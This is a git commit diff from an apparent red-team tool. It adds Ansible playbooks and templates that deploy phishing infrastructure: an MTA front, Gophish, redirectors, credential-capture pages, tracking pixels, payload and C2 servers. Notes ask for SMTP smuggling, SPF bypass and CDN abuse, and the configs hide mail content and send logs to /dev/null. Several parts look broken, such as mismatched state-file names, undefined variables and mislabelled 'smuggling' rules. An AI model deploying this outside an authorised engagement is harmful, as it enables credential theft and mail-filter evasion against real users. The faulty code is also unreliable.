Restructure in-progress

2025-07-04 23:48:04 -04:00
parent 32aad50820
commit 36de65ba60
114 changed files with 670 additions and 1041 deletions
@@ -0,0 +1,127 @@
+phishing/
+├── deploy_phishing_infrastructure.yml *Created
+├── mta_front.yml *Created
+├── gophish_server.yml *Created
+├── phishing_redirector.yml *Created
+├── phishing_webserver.yml *Created
+├── payload_redirector.yml
+├── payload_server.yml
+└── cleanup_phishing.yml
+
+tasks/
+├── configure_mta_front.yml *Created
+├── configure_gophish_advanced.yml *Created
+├── configure_phishing_redirector.yml *Created
+├── configure_phishing_webserver.yml
+├── configure_payload_redirector.yml
+├── configure_payload_server.yml
+└── setup_phishing_security.yml *Created
+
+templates/
+├── phishing/
+│   ├── gophish-advanced-config.j2
+│   ├── postfix-mta-front.j2
+│   ├── nginx-phishing-redirector.j2
+│   ├── nginx-payload-redirector.j2
+│   ├── phishing-landing-page.j2
+│   ├── email-templates/
+│   │   ├── office365_login.j2  *Created
+│   │   ├── password_expiry.j2
+│   │   ├── security_alert.j2
+│   │   └── file_share.j2
+│   └── fedramp-compliance.j2
+└── phishing_deployment_state.j2
+
+I am looking to beef up my phishing portion of my tooland I want to make a stand alone option as well. I will be preforming both red team phishing engagements and fed ramp engagements. So the red team ones need to be more advanced and sophesticated with advanced evasion techniques etc like
+SMTP smuggling aged domains MTA fronting Cloud service payload hosting CDN exploitation LOtL techniques SPF bypass methods File format manipulation
+This will require more than one server
+For fedramp style engagements I am not testing email security controls but only the users and I need to follow the strict guideline
+ The intent is to test user compliance, not email security. Emails should be allow-listed on all security systems and be presented to the user unflagged, unmodified, and unaltered in any way. 3PAOs will provide or approve email templates and landing pages used in testing. 3PAOs must either perform this attack vector themselves, or independently evaluate the effectiveness of a third party phishing campaign. Landing pages for CSP personnel who are victims of the phishing attack should immediately identify that the email was a phish, and provide supplemental information on how to identify phishing attacks in the future. The email campaign will consist of the following: 
+Email with username in body, Link to landing page, Ability to capture emails opened (hidden pixel), Landing page, Ability to tie landing page visits by user, Username and password capture, Ability to track user submission. FedRAMP requires that the 3PAO report back roles and/or metrics but not specific names. Lets keep with making this CSP agnostic as much as possible so AWS and linode can be used and other CSP as they are added to the framework. I would like everything to be as indepentent as possible so its all not running in one huge file or script and can be easily found and worked on and called to build stand alone servers or add to an existing server etc
+
+For red team engagements I want to be able to deploy my whole red team infra or exactly what I need like just a c2, redirector, payload server, phishing server, Domain fronting server or just payload server, phishing server, Domain fronting server etc. I want an option for red team phishing which deploys
+
+Below are deployment profiles
+
+Profile Name: Full Red Team Infra (All the Things)
+
+Servers:
+
+    MTA Front | SMTP relay hides email backend
+
+    Gophish Email Server | Phishing campaign controller (hidden)
+
+    Phishing Redirector (CDN) | Hides phishing web server behind CDN
+
+    Phishing Web Server | Credential capture backend
+
+    Payload Redirector (CDN) | Hides malware delivery server behind CDN
+
+    Payload Server | Malware hosting backend
+
+    C2 Redirector (CDN) | Hides Havoc/Cobalt backend behind CDN
+
+    C2 Backend | Command & control server (hidden)
+
+Profile Name: Full Red Team Infra (No CDN Abuse)
+
+Servers:
+
+    MTA Front | SMTP relay hides email backend
+
+    Gophish Email Server | Phishing campaign controller (hidden)
+
+    Phishing Redirector (VPS) | Nginx/socat hides phishing web server
+
+    Phishing Web Server | Credential capture backend
+
+    Payload Redirector (VPS) | Nginx/socat hides malware delivery server
+
+    Payload Server | Malware hosting backend
+
+    C2 Redirector (VPS) | Nginx/socat hides C2 backend
+
+    C2 Backend | Command & control server (hidden)
+
+Profile Name: Phishing Infra (Credential Harvesting Only)
+
+Servers:
+
+    MTA Front (optional) | SMTP relay hides email backend (optional)
+
+    Gophish Email Server | Phishing campaign controller
+
+    Phishing Redirector (CDN or VPS) | Hides phishing web server
+
+    Phishing Web Server | Credential capture backend
+
+Profile Name: Phishing Infra (Credential Harvesting Only, No CDN)
+
+Servers:
+
+    MTA Front (optional) | SMTP relay hides email backend (optional)
+
+    Gophish Email Server | Phishing campaign controller
+
+    Phishing Redirector (VPS) | Nginx/socat hides phishing web server
+
+    Phishing Web Server | Credential capture backend
+
+Profile Name: Whitelisted Phishing Infra (User Awareness Testing)
+
+Servers:
+
+    Gophish Email Server | Sends phishing campaigns directly
+
+    Phishing Web Server | Fake login or failure landing page
+
+this needs to also set up firewall rules or security groups to ensure least privilege. I need only the MTA fronting or redirectors accessible to anyone. The main phishing server should only allow the operator to connect and then the main phishing server should be able to access the MTA, Webserver and payload server etc. We need to ensure that things are fully secure. This should be added to the main menu under the phishing server option 9 with sub menus for the different deployment options. This needs to be deployable in any provider so make as much of it provider agnositic. use existing playbooks if it make sense like security hardening etc. I also want this to have the tracker setup as well on any deployment. Make sure to consider the way the tool is built. I want minimal stuff in the deploy.py. As much as possible should be handled with tasks templates and scripts
+
+
+NOTES:
+
+- I think I need to remove all the security group stuff to the security_hardening yaml
+- I dont think I need a tracker on the webserver yaml
+- setup_phishing_security.yml seems redundant and AWS only focused
+- 
+- 
@@ -0,0 +1,59 @@
+---
+# Phishing Infrastructure Cleanup Playbook
+- name: Clean up phishing infrastructure
+  hosts: localhost
+  gather_facts: false
+  connection: local
+  vars_files:
+    - vars.yaml
+  vars:
+    deployment_id: "{{ deployment_id | default('') }}"
+    confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
+    
+  tasks:
+    - name: Load deployment state
+      include_vars:
+        file: "phishing_deployment_state_{{ deployment_id }}.json"
+      register: deployment_state
+      ignore_errors: yes
+      
+    - name: Show cleanup information
+      debug:
+        msg: |
+          ************************************************
+          *         PHISHING CLEANUP OPERATION           *
+          ************************************************
+          The following resources will be DELETED PERMANENTLY:
+          - MTA Front: {{ mta_front_name | default('mta-' + deployment_id) }}
+          - GoPhish Server: {{ gophish_server_name | default('gp-' + deployment_id) }}
+          - Phishing Web Server: {{ phishing_web_name | default('pw-' + deployment_id) }}
+          - Phishing Redirector: {{ phishing_redirector_name | default('phr-' + deployment_id) }}
+          {% if cleanup_payload_infra | default(false) %}
+          - Payload Server: {{ payload_server_name | default('ps-' + deployment_id) }}
+          - Payload Redirector: {{ payload_redirector_name | default('pr-' + deployment_id) }}
+          {% endif %}
+      when: confirm_cleanup | bool
+      
+    - name: Confirm cleanup operation
+      pause:
+        prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
+      register: confirmation
+      when: confirm_cleanup | bool
+      
+    - name: Skip cleanup if not confirmed
+      meta: end_play
+      when: confirm_cleanup | bool and confirmation.user_input != 'yes'
+      
+    - name: Run provider-specific cleanup
+      include_tasks: "../{{ provider | upper }}/cleanup.yml"
+      vars:
+        cleanup_redirector: true
+        cleanup_c2: true
+        cleanup_tracker: false
+        redirector_name: "{{ phishing_redirector_name }}"
+        c2_name: "{{ gophish_server_name }}"
+        
+    - name: Remove deployment state file
+      file:
+        path: "phishing_deployment_state_{{ deployment_id }}.json"
+        state: absent
@@ -0,0 +1,129 @@
+---
+# Main phishing infrastructure deployment playbook
+# Handles all deployment types and orchestrates component deployment
+
+- name: Deploy phishing infrastructure
+  hosts: localhost
+  gather_facts: false
+  connection: local
+  vars_files:
+    - vars.yaml
+  vars:
+    deployment_id: "{{ deployment_id | default('') }}"
+    provider: "{{ provider | default('aws') }}"
+    deployment_type: "{{ deployment_type | default('phishing_only_noccdn') }}"
+    
+  tasks:
+    - name: Validate deployment configuration
+      assert:
+        that:
+          - deployment_id != ""
+          - provider != ""
+          - deployment_type != ""
+        fail_msg: "Missing required deployment parameters"
+
+    - name: Display deployment information
+      debug:
+        msg:
+          - "Phishing Infrastructure Deployment"
+          - "=================================="
+          - "Deployment ID: {{ deployment_id }}"
+          - "Provider: {{ provider }}"
+          - "Deployment Type: {{ deployment_type }}"
+          - "Primary Domain: {{ primary_domain | default(domain) }}"
+          - "Phishing Domain: {{ phishing_domain | default(primary_domain) }}"
+
+    # Phase 1: Deploy core infrastructure components
+    - name: Deploy MTA Front server
+      include: mta_front.yml
+      when: deploy_mta_front | default(false) | bool
+      vars:
+        server_name: "mta-{{ deployment_id }}"
+        component_type: "mta_front"
+
+    - name: Deploy Gophish server
+      include: gophish_server.yml
+      when: deploy_gophish | default(false) | bool
+      vars:
+        server_name: "gophish-{{ deployment_id }}"
+        component_type: "gophish"
+
+    - name: Deploy phishing redirector
+      include: phishing_redirector.yml
+      when: deploy_phishing_redirector | default(false) | bool
+      vars:
+        server_name: "phish-redir-{{ deployment_id }}"
+        component_type: "phishing_redirector"
+
+    - name: Deploy phishing web server
+      include: phishing_webserver.yml
+      when: deploy_phishing_webserver | default(false) | bool
+      vars:
+        server_name: "phish-web-{{ deployment_id }}"
+        component_type: "phishing_webserver"
+
+    - name: Deploy payload redirector
+      include: payload_redirector.yml
+      when: deploy_payload_redirector | default(false) | bool
+      vars:
+        server_name: "payload-redir-{{ deployment_id }}"
+        component_type: "payload_redirector"
+
+    - name: Deploy payload server
+      include: payload_server.yml
+      when: deploy_payload_server | default(false) | bool
+      vars:
+        server_name: "payload-{{ deployment_id }}"
+        component_type: "payload_server"
+
+    # Phase 2: Deploy C2 infrastructure if requested
+    - name: Deploy C2 redirector
+      include: ../AWS/redirector.yml
+      when: deploy_c2_redirector | default(false) | bool
+      vars:
+        redirector_name: "c2-redir-{{ deployment_id }}"
+
+    - name: Deploy C2 backend
+      include: ../AWS/c2.yml
+      when: deploy_c2_backend | default(false) | bool
+      vars:
+        c2_name: "c2-{{ deployment_id }}"
+
+    # Phase 3: Configure security groups and firewall rules
+    - name: Configure phishing security
+      include_tasks: "../tasks/setup_phishing_security.yml"
+      vars:
+        deployment_components:
+          mta_front: "{{ deploy_mta_front | default(false) }}"
+          gophish: "{{ deploy_gophish | default(false) }}"
+          phishing_redirector: "{{ deploy_phishing_redirector | default(false) }}"
+          phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}"
+          payload_redirector: "{{ deploy_payload_redirector | default(false) }}"
+          payload_server: "{{ deploy_payload_server | default(false) }}"
+
+    # Phase 4: Save deployment state
+    - name: Save phishing deployment state
+      template:
+        src: "../templates/phishing_deployment_state.j2"
+        dest: "phishing_deployment_{{ deployment_id }}.json"
+        mode: '0600'
+      vars:
+        deployment_info:
+          deployment_id: "{{ deployment_id }}"
+          deployment_type: "{{ deployment_type }}"
+          provider: "{{ provider }}"
+          components: "{{ deployment_components }}"
+          domains:
+            primary: "{{ primary_domain | default(domain) }}"
+            phishing: "{{ phishing_domain | default(primary_domain) }}"
+          created: "{{ ansible_date_time.iso8601 }}"
+
+    - name: Display deployment summary
+      debug:
+        msg:
+          - "Phishing Infrastructure Deployment Complete!"
+          - "==========================================="
+          - "Access your Gophish interface at: https://{{ gophish_ip }}:{{ gophish_admin_port | default(3333) }}"
+          - "Phishing domain: {{ phishing_domain }}"
+          - "Campaign ready to launch!"
+      when: not disable_summary | default(false)
@@ -0,0 +1,198 @@
+---
+# Advanced Gophish configuration with enhanced evasion and features
+
+- name: Create Gophish user
+  user:
+    name: gophish
+    system: yes
+    shell: /bin/bash
+    home: /opt/gophish
+    create_home: yes
+
+- name: Download latest Gophish release
+  get_url:
+    url: "https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip"
+    dest: /tmp/gophish.zip
+    mode: '0644'
+
+- name: Extract Gophish
+  unarchive:
+    src: /tmp/gophish.zip
+    dest: /opt/gophish
+    owner: gophish
+    group: gophish
+    remote_src: yes
+
+- name: Install additional packages for advanced features
+  apt:
+    name:
+      - nginx
+      - certbot
+      - python3-certbot-nginx
+      - sqlite3
+      - jq
+      - curl
+      - wget
+      - php-fpm
+      - php-sqlite3
+      - nodejs
+      - npm
+    state: present
+
+- name: Configure advanced Gophish settings
+  template:
+    src: "../templates/phishing/gophish-advanced-config.j2"
+    dest: /opt/gophish/config.json
+    owner: gophish
+    group: gophish
+    mode: '0600'
+
+- name: Create enhanced email templates directory
+  file:
+    path: /opt/gophish/templates/{{ item }}
+    state: directory
+    owner: gophish
+    group: gophish
+    mode: '0755'
+  loop:
+    - email
+    - landing
+    - static
+
+- name: Deploy email templates
+  template:
+    src: "../templates/phishing/email-templates/{{ item }}.j2"
+    dest: "/opt/gophish/templates/email/{{ item }}.html"
+    owner: gophish
+    group: gophish
+    mode: '0644'
+  loop:
+    - office365_login
+    - password_expiry
+    - security_alert
+    - file_share
+  when: not fedramp_mode | default(false) | bool
+
+- name: Deploy FedRAMP compliant templates
+  template:
+    src: "../templates/phishing/fedramp-compliance.j2"
+    dest: "/opt/gophish/templates/email/fedramp_template.html"
+    owner: gophish
+    group: gophish
+    mode: '0644'
+  when: fedramp_mode | default(false) | bool
+
+- name: Create advanced landing pages
+  template:
+    src: "../templates/phishing/phishing-landing-page.j2"
+    dest: "/opt/gophish/templates/landing/{{ item }}_landing.html"
+    owner: gophish
+    group: gophish
+    mode: '0644'
+  loop:
+    - office365
+    - generic
+    - fedramp
+  vars:
+    template_type: "{{ item }}"
+
+- name: Install enhanced tracking pixel
+  copy:
+    src: "../files/simple_email_tracker.py"
+    dest: /opt/gophish/tracker.py
+    owner: gophish
+    group: gophish
+    mode: '0755'
+
+- name: Create Gophish database backup script
+  template:
+    src: "../templates/phishing/gophish-backup.sh.j2"
+    dest: /opt/gophish/backup.sh
+    owner: gophish
+    group: gophish
+    mode: '0755'
+
+- name: Set up database backup cron
+  cron:
+    name: "Backup Gophish database"
+    minute: "0"
+    hour: "*/6"
+    job: "/opt/gophish/backup.sh"
+    user: gophish
+
+- name: Create Gophish systemd service
+  template:
+    src: "../templates/phishing/gophish.service.j2"
+    dest: /etc/systemd/system/gophish.service
+    mode: '0644'
+
+- name: Enable and start Gophish service
+  systemd:
+    name: gophish
+    state: started
+    enabled: yes
+    daemon_reload: yes
+
+- name: Create campaign automation script
+  template:
+    src: "../templates/phishing/campaign-automation.py.j2"
+    dest: /opt/gophish/campaign-automation.py
+    owner: gophish
+    group: gophish
+    mode: '0755'
+
+- name: Install Python dependencies for automation
+  pip:
+    name:
+      - requests
+      - python-dateutil
+      - jinja2
+    state: present
+
+- name: Configure SMTP relay to MTA front
+  blockinfile:
+    path: /opt/gophish/config.json
+    marker: "// {mark} ANSIBLE MANAGED SMTP CONFIG"
+    block: |
+      "smtp": {
+        "host": "{{ mta_front_ip }}:587",
+        "username": "{{ smtp_relay_user }}",
+        "password": "{{ smtp_relay_pass }}",
+        "from": "{{ sender_email }}",
+        "ignore_cert_errors": true
+      }
+
+- name: Create phishing metrics dashboard
+  template:
+    src: "../templates/phishing/metrics-dashboard.html.j2"
+    dest: /opt/gophish/static/metrics.html
+    owner: gophish
+    group: gophish
+    mode: '0644'
+
+- name: Set up log aggregation
+  lineinfile:
+    path: /etc/rsyslog.conf
+    line: "local0.*    /var/log/gophish.log"
+    state: present
+  notify: restart rsyslog
+
+- name: Configure log rotation for Gophish
+  copy:
+    dest: /etc/logrotate.d/gophish
+    content: |
+      /var/log/gophish.log {
+          daily
+          missingok
+          rotate 30
+          compress
+          delaycompress
+          notifempty
+          create 0644 gophish gophish
+      }
+
+handlers:
+  - name: restart rsyslog
+    service:
+      name: rsyslog
+      state: restarted
@@ -0,0 +1,296 @@
+---
+# Common tasks for configuring advanced phishing server
+# Supports both red team and FedRAMP compliance modes
+
+- name: Update system packages
+  apt:
+    update_cache: yes
+    upgrade: dist
+
+- name: Install base packages for phishing server
+  apt:
+    name:
+      - nginx
+      - certbot
+      - python3-certbot-nginx
+      - postfix
+      - dovecot-core
+      - dovecot-imapd
+      - opendkim
+      - opendkim-tools
+      - sqlite3
+      - git
+      - curl
+      - wget
+      - jq
+      - unzip
+      - python3-pip
+      - python3-venv
+      - nodejs
+      - npm
+      - php-fpm
+      - php-sqlite3
+      - php-curl
+      - php-json
+      - swaks
+      - dnsutils
+      - net-tools
+      - fail2ban
+    state: present
+
+- name: Create phishing tools directory
+  file:
+    path: "{{ item }}"
+    state: directory
+    mode: '0755'
+    owner: root
+    group: root
+  with_items:
+    - /root/Tools/phishing
+    - /root/Tools/phishing/templates
+    - /root/Tools/phishing/campaigns
+    - /root/Tools/phishing/logs
+    - /var/www/phishing
+    - /var/www/phishing/assets
+    - /var/www/phishing/api
+
+- name: Set up GoPhish directory
+  file:
+    path: /root/Tools/gophish
+    state: directory
+    mode: '0755'
+
+- name: Download latest GoPhish release
+  shell: |
+    LATEST_URL=$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')
+    curl -L "$LATEST_URL" -o /tmp/gophish.zip
+    unzip /tmp/gophish.zip -d /root/Tools/gophish
+    chmod +x /root/Tools/gophish/gophish
+    rm -f /tmp/gophish.zip
+  args:
+    creates: /root/Tools/gophish/gophish
+
+- name: Create advanced GoPhish configuration
+  template:
+    src: "../templates/advanced-gophish-config.j2"
+    dest: "/root/Tools/gophish/config.json"
+    mode: '0600'
+    owner: root
+    group: root
+
+- name: Create GoPhish systemd service
+  template:
+    src: "../templates/gophish.service.j2"
+    dest: "/etc/systemd/system/gophish.service"
+    mode: '0644'
+    owner: root
+    group: root
+
+- name: Configure Postfix for outbound email
+  template:
+    src: "../templates/postfix-phishing.conf.j2"
+    dest: "/etc/postfix/main.cf"
+    backup: yes
+  notify: restart postfix
+
+- name: Configure OpenDKIM for email authentication
+  template:
+    src: "../templates/opendkim-phishing.conf.j2"
+    dest: "/etc/opendkim.conf"
+    backup: yes
+  notify: restart opendkim
+
+- name: Create DKIM keys directory
+  file:
+    path: "/etc/opendkim/keys/{{ phishing_domain }}"
+    state: directory
+    owner: opendkim
+    group: opendkim
+    mode: '0700'
+
+- name: Generate DKIM keys
+  command: >
+    opendkim-genkey -D /etc/opendkim/keys/{{ phishing_domain }} 
+    -d {{ phishing_domain }} -s phishing
+  args:
+    creates: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
+
+- name: Set DKIM key permissions
+  file:
+    path: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
+    owner: opendkim
+    group: opendkim
+    mode: '0600'
+
+- name: Create phishing landing page templates
+  template:
+    src: "{{ item.src }}"
+    dest: "{{ item.dest }}"
+    mode: '0644'
+    owner: www-data
+    group: www-data
+  with_items:
+    - { src: "../templates/phishing-landing-office365.html.j2", dest: "/var/www/phishing/office365.html" }
+    - { src: "../templates/phishing-landing-gmail.html.j2", dest: "/var/www/phishing/gmail.html" }
+    - { src: "../templates/phishing-landing-aws.html.j2", dest: "/var/www/phishing/aws.html" }
+    - { src: "../templates/phishing-landing-generic.html.j2", dest: "/var/www/phishing/generic.html" }
+
+- name: Create credential capture API
+  template:
+    src: "../templates/credential-capture-api.php.j2"
+    dest: "/var/www/phishing/api/capture.php"
+    mode: '0644'
+    owner: www-data
+    group: www-data
+
+- name: Create tracking pixel endpoint
+  template:
+    src: "../templates/tracking-pixel.php.j2"
+    dest: "/var/www/phishing/track.php"
+    mode: '0644'
+    owner: www-data
+    group: www-data
+
+- name: Configure Nginx for phishing sites
+  template:
+    src: "../templates/nginx-phishing.conf.j2"
+    dest: "/etc/nginx/sites-available/phishing"
+    mode: '0644'
+  notify: reload nginx
+
+- name: Enable phishing site
+  file:
+    src: /etc/nginx/sites-available/phishing
+    dest: /etc/nginx/sites-enabled/phishing
+    state: link
+  notify: reload nginx
+
+- name: Create phishing campaign management scripts
+  template:
+    src: "{{ item.src }}"
+    dest: "{{ item.dest }}"
+    mode: '0755'
+    owner: root
+    group: root
+  with_items:
+    - { src: "../templates/campaign-launcher.sh.j2", dest: "/root/Tools/phishing/launch-campaign.sh" }
+    - { src: "../templates/stats-collector.sh.j2", dest: "/root/Tools/phishing/collect-stats.sh" }
+    - { src: "../templates/email-validator.py.j2", dest: "/root/Tools/phishing/validate-emails.py" }
+
+- name: Create database for tracking
+  shell: |
+    sqlite3 /root/Tools/phishing/tracking.db << EOF
+    CREATE TABLE IF NOT EXISTS email_opens (
+        id INTEGER PRIMARY KEY AUTOINCREMENT,
+        campaign_id TEXT NOT NULL,
+        recipient_email TEXT NOT NULL,
+        ip_address TEXT,
+        user_agent TEXT,
+        opened_at DATETIME DEFAULT CURRENT_TIMESTAMP,
+        location TEXT
+    );
+    
+    CREATE TABLE IF NOT EXISTS link_clicks (
+        id INTEGER PRIMARY KEY AUTOINCREMENT,
+        campaign_id TEXT NOT NULL,
+        recipient_email TEXT NOT NULL,
+        link_url TEXT NOT NULL,
+        ip_address TEXT,
+        user_agent TEXT,
+        clicked_at DATETIME DEFAULT CURRENT_TIMESTAMP,
+        location TEXT
+    );
+    
+    CREATE TABLE IF NOT EXISTS credential_submissions (
+        id INTEGER PRIMARY KEY AUTOINCREMENT,
+        campaign_id TEXT NOT NULL,
+        recipient_email TEXT,
+        username TEXT,
+        password_hash TEXT,
+        ip_address TEXT,
+        user_agent TEXT,
+        submitted_at DATETIME DEFAULT CURRENT_TIMESTAMP,
+        location TEXT,
+        additional_data TEXT
+    );
+    
+    CREATE TABLE IF NOT EXISTS campaigns (
+        id TEXT PRIMARY KEY,
+        name TEXT NOT NULL,
+        template TEXT NOT NULL,
+        created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
+        status TEXT DEFAULT 'active',
+        target_count INTEGER DEFAULT 0,
+        opened_count INTEGER DEFAULT 0,
+        clicked_count INTEGER DEFAULT 0,
+        submitted_count INTEGER DEFAULT 0
+    );
+    EOF
+  args:
+    creates: /root/Tools/phishing/tracking.db
+
+- name: Set database permissions
+  file:
+    path: /root/Tools/phishing/tracking.db
+    owner: www-data
+    group: www-data
+    mode: '0644'
+
+- name: Install Python dependencies for advanced features
+  pip:
+    name:
+      - requests
+      - beautifulsoup4
+      - lxml
+      - flask
+      - flask-cors
+      - dnspython
+      - python-whois
+      - selenium
+      - fake-useragent
+    state: present
+
+- name: Create SSL certificate setup script
+  template:
+    src: "../templates/setup-phishing-ssl.sh.j2"
+    dest: "/root/Tools/phishing/setup-ssl.sh"
+    mode: '0755'
+    owner: root
+    group: root
+
+- name: Create domain reputation checker
+  template:
+    src: "../templates/domain-reputation.py.j2"
+    dest: "/root/Tools/phishing/check-reputation.py"
+    mode: '0755'
+    owner: root
+    group: root
+
+- name: Start and enable services
+  systemd:
+    name: "{{ item }}"
+    state: started
+    enabled: yes
+    daemon_reload: yes
+  with_items:
+    - postfix
+    - opendkim
+    - nginx
+    - php7.4-fpm
+    - gophish
+
+handlers:
+  - name: restart postfix
+    systemd:
+      name: postfix
+      state: restarted
+
+  - name: restart opendkim
+    systemd:
+      name: opendkim
+      state: restarted
+
+  - name: reload nginx
+    systemd:
+      name: nginx
+      state: reloaded
@@ -0,0 +1,42 @@
+{
+    "admin_server": {
+        "listen_url": "127.0.0.1:{{ gophish_admin_port }}",
+        "use_tls": true,
+        "cert_path": "/etc/letsencrypt/live/{{ phishing_domain }}/fullchain.pem",
+        "key_path": "/etc/letsencrypt/live/{{ phishing_domain }}/privkey.pem",
+        "trusted_origins": []
+    },
+    "phish_server": {
+        "listen_url": "0.0.0.0:{{ gophish_phish_port | default(8081) }}",
+        "use_tls": false,
+        "cert_path": "",
+        "key_path": ""
+    },
+    "db_name": "sqlite3",
+    "db_path": "gophish.db",
+    "migrations_prefix": "db/db_",
+    "contact_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
+    "logging": {
+        "filename": "{{ '/dev/null' if zero_logs | default(true) else 'gophish.log' }}",
+        "level": "{{ 'error' if zero_logs | default(true) else 'info' }}"
+    },
+    "webhook": {
+        "enabled": {{ enable_webhooks | default(false) | lower }},
+        "url": "{{ webhook_url | default('') }}",
+        "secret": "{{ webhook_secret | default('') }}"
+    },
+    "email": {
+        "smtp": {
+            "host": "{{ mta_front_ip | default('127.0.0.1') }}",
+            "port": 25,
+            "use_auth": true,
+            "username": "{{ smtp_auth_user }}",
+            "password": "{{ smtp_auth_pass }}",
+            "from_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
+            "ignore_cert_errors": true
+        },
+        "imap": {
+            "enabled": false
+        }
+    }
+}
@@ -0,0 +1,23 @@
+{
+        "admin_server": {
+                "listen_url": "0.0.0.0:{{ gophish_admin_port }}",
+                "use_tls": true,
+                "cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
+                "key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem",
+                "trusted_origins": []
+        },
+        "phish_server": {
+                "listen_url": "0.0.0.0:8081",
+                "use_tls": false,
+                "cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
+                "key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
+        },
+        "db_name": "sqlite3",
+        "db_path": "gophish.db",
+        "migrations_prefix": "db/db_",
+        "contact_address": "",
+        "logging": {
+                "filename": "",
+                "level": ""
+        }
+}
@@ -0,0 +1,51 @@
+---
+# Advanced Gophish server deployment with enhanced features
+
+- name: Deploy Gophish server
+  hosts: localhost
+  gather_facts: false
+  connection: local
+  vars_files:
+    - vars.yaml
+  vars:
+    gophish_instance_type: "{{ gophish_instance_type | default('t3.large') }}"
+    gophish_region: "{{ gophish_region | default(aws_region) }}"
+
+  tasks:
+    - name: Create Gophish instance
+      include_tasks: "../tasks/create_instance.yml"
+      vars:
+        instance_name: "{{ server_name }}"
+        instance_type: "{{ gophish_instance_type }}"
+        region: "{{ gophish_region }}"
+        security_group_rules:
+          - { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
+          - { proto: tcp, port: 3333, cidr: "{{ operator_ip }}/32", desc: "Gophish admin" }
+          - { proto: tcp, port: 25, cidr: "{{ mta_front_ip | default('10.0.0.0/8') }}/32", desc: "SMTP from MTA" }
+          - { proto: tcp, port: 80, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTP from redirector" }
+
+    - name: Add Gophish to inventory
+      add_host:
+        name: "gophish_server"
+        groups: "gophish_servers"
+        ansible_host: "{{ instance_ip }}"
+        ansible_user: "{{ ansible_user | default('ubuntu') }}"
+        ansible_ssh_private_key_file: "{{ ssh_key_path }}"
+        ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
+
+- name: Configure Gophish server
+  hosts: gophish_servers
+  become: true
+  gather_facts: true
+  vars_files:
+    - vars.yaml
+  tasks:
+    - name: Include advanced Gophish configuration
+      include_tasks: "../tasks/configure_gophish_advanced.yml"
+
+    - name: Include security hardening
+      include_tasks: "../tasks/security_hardening.yml"
+
+    - name: Include tracker setup
+      include_tasks: "../tasks/configure_integrated_tracker.yml"
+      when: deploy_tracker | default(true) | bool
@@ -0,0 +1,151 @@
+---
+# Configure MTA Front server for email relay and SMTP smuggling
+
+- name: Update system packages
+  apt:
+    update_cache: yes
+    upgrade: dist
+
+- name: Install MTA packages
+  apt:
+    name:
+      - postfix
+      - postfix-pcre
+      - dovecot-core
+      - dovecot-imapd
+      - opendkim
+      - opendkim-tools
+      - python3-pip
+      - python3-venv
+      - nginx
+      - certbot
+      - python3-certbot-nginx
+      - dnsutils
+      - swaks
+      - telnet
+    state: present
+
+- name: Configure Postfix for MTA fronting
+  template:
+    src: "../templates/phishing/postfix-mta-front.j2"
+    dest: /etc/postfix/main.cf
+    backup: yes
+  notify: restart postfix
+
+- name: Configure Postfix master.cf for advanced relaying
+  blockinfile:
+    path: /etc/postfix/master.cf
+    block: |
+      # SMTP smuggling and advanced relay configurations
+      587      inet  n       -       y       -       -       smtpd
+        -o syslog_name=postfix/submission
+        -o smtpd_tls_security_level=encrypt
+        -o smtpd_sasl_auth_enable=yes
+        -o smtpd_tls_wrappermode=no
+        -o smtpd_client_restrictions=permit_sasl_authenticated,reject
+        -o smtpd_relay_restrictions=permit_sasl_authenticated,reject
+        -o milter_macro_daemon_name=ORIGINATING
+      
+      # SMTP smuggling support
+      cleanup   unix  n       -       y       -       0       cleanup
+        -o header_checks=pcre:/etc/postfix/header_checks
+        -o nested_header_checks=pcre:/etc/postfix/nested_header_checks
+
+- name: Create SMTP smuggling header checks
+  copy:
+    dest: /etc/postfix/header_checks
+    content: |
+      # SMTP smuggling techniques
+      /^Content-Transfer-Encoding:\s*7bit/i REPLACE Content-Transfer-Encoding: 8bit
+      /^Content-Type:\s*text\/plain/i REPLACE Content-Type: text/html
+    mode: '0644'
+  notify: 
+    - reload postfix
+    - postmap header_checks
+
+- name: Create nested header checks for advanced smuggling
+  copy:
+    dest: /etc/postfix/nested_header_checks
+    content: |
+      # Advanced SMTP smuggling patterns
+      /^\s*<script/i IGNORE
+      /^\s*<iframe/i IGNORE
+    mode: '0644'
+  notify:
+    - reload postfix
+    - postmap nested_header_checks
+
+- name: Configure DKIM for domain reputation
+  include_tasks: ../tasks/configure_mail.yml
+
+- name: Create relay authentication
+  copy:
+    dest: /etc/postfix/sasl_passwd
+    content: |
+      {{ phishing_domain }} {{ smtp_relay_user }}:{{ smtp_relay_pass }}
+    mode: '0600'
+    owner: root
+    group: root
+  notify:
+    - postmap sasl_passwd
+    - restart postfix
+
+- name: Configure transport maps for backend routing
+  copy:
+    dest: /etc/postfix/transport
+    content: |
+      {{ phishing_domain }}    smtp:[{{ gophish_ip }}]:25
+      .{{ phishing_domain }}   smtp:[{{ gophish_ip }}]:25
+    mode: '0644'
+  notify:
+    - postmap transport
+    - restart postfix
+
+- name: Install Python SMTP testing tools
+  pip:
+    name:
+      - smtplib-extended
+      - email-validator
+      - faker
+    state: present
+
+- name: Create SMTP smuggling test script
+  template:
+    src: "../templates/phishing/smtp-smuggling-test.py.j2"
+    dest: /root/Tools/smtp-smuggling-test.py
+    mode: '0755'
+
+- name: Create email reputation monitoring script
+  template:
+    src: "../templates/phishing/reputation-monitor.sh.j2"
+    dest: /root/Tools/reputation-monitor.sh
+    mode: '0755'
+
+- name: Set up log monitoring for deliverability
+  cron:
+    name: "Monitor email deliverability"
